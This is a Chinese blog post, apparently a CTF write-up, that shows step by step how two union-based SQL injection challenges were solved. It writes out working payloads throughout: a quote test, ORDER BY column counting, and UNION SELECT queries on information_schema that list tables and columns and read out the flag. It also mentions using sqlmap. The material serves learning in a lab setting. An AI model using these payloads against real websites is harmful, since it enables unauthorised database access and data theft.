这几天在做CTF当中遇到了几次sql注入都是union，写篇博客记录学习一下。

首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/83869918”

再附上一张文章里面的图

接下来直接上题

1.这个看起来有点简单

题目连接：http://ctf5.shiyanbar.com/8/index.php?id=1

首先一进去看着那个表，和url里面的id=1，就感觉应该是SQL注入的题。

老样子，先把id=1,改成id=2，和id=3发现可以返回不同的数据。

然后 加个引号和注释号  id=1‘#，发现报错，由此确定是sql注入，并且应该是数字注入，不用闭合。

然后先确定列数，看图感觉是两列，再网址后输  id=1 order by2 ，返回正确，id=1 order by 3返回错误， 从而判断是两列。

好，接下来用union搞一搞，输入   id=-1 union select 1,2#  得到以下画面

这还能说啥，直接一波爆库名，爆表名，爆段名再说，

-1 union select -1,database()#

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

答案字段应该是再thiskey里

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='thiskey' #

得到字段名 k0y

然后 -1 union select 1,k0y from thiskey#

拿到flag,  这道题也可以用sqlmap跑出来。

2.bugku成绩单

题目链接    http://123.206.87.240:8002/chengjidan/index.php

和上一道题很相似，所以依然按照步骤来就好，不过这里需要注意一下，当输入 1的时候，返回的是龙龙的成绩单，当加一个引号，不返回结果，然后再输入1‘# 则返回龙龙的成绩，很明显，这里需要闭合，是字符型的注入。

确定列数

1’ order by 5#返回错误， 1‘ order by 4 返回龙龙的成绩单，说明有 4列 。但是表格只有三列，所以先用 union select 1，2，3，4 来搞一下事情 ，输入-1' union select 1,2,3,4#   这里说一下为什么前面要用-1，这道题只会显示一行，如果用1的话，会显示龙龙的成绩，这里只会显示一行，所以要让第一行不显示，直接用-1。

发现第一列被隐藏了，所以后面要输入数据应该再二三四列显示。

ok 都到这一步了，接下来就直接爆库名这些了。。。

-1’ union select 1,database(),3,4#

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

出现表名   fl4g

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),3,4#

得到 字段名 skctf_flag

接下来      -1' union select 1,(select skctf_flag from fl4g),3,4#

拿到答案，当然这道题也可以用sqlmap跑出来，只不过这里是post传数据，要用bp和sqlmap一起结合而已。

还有两道题再下一篇博客写。。。。。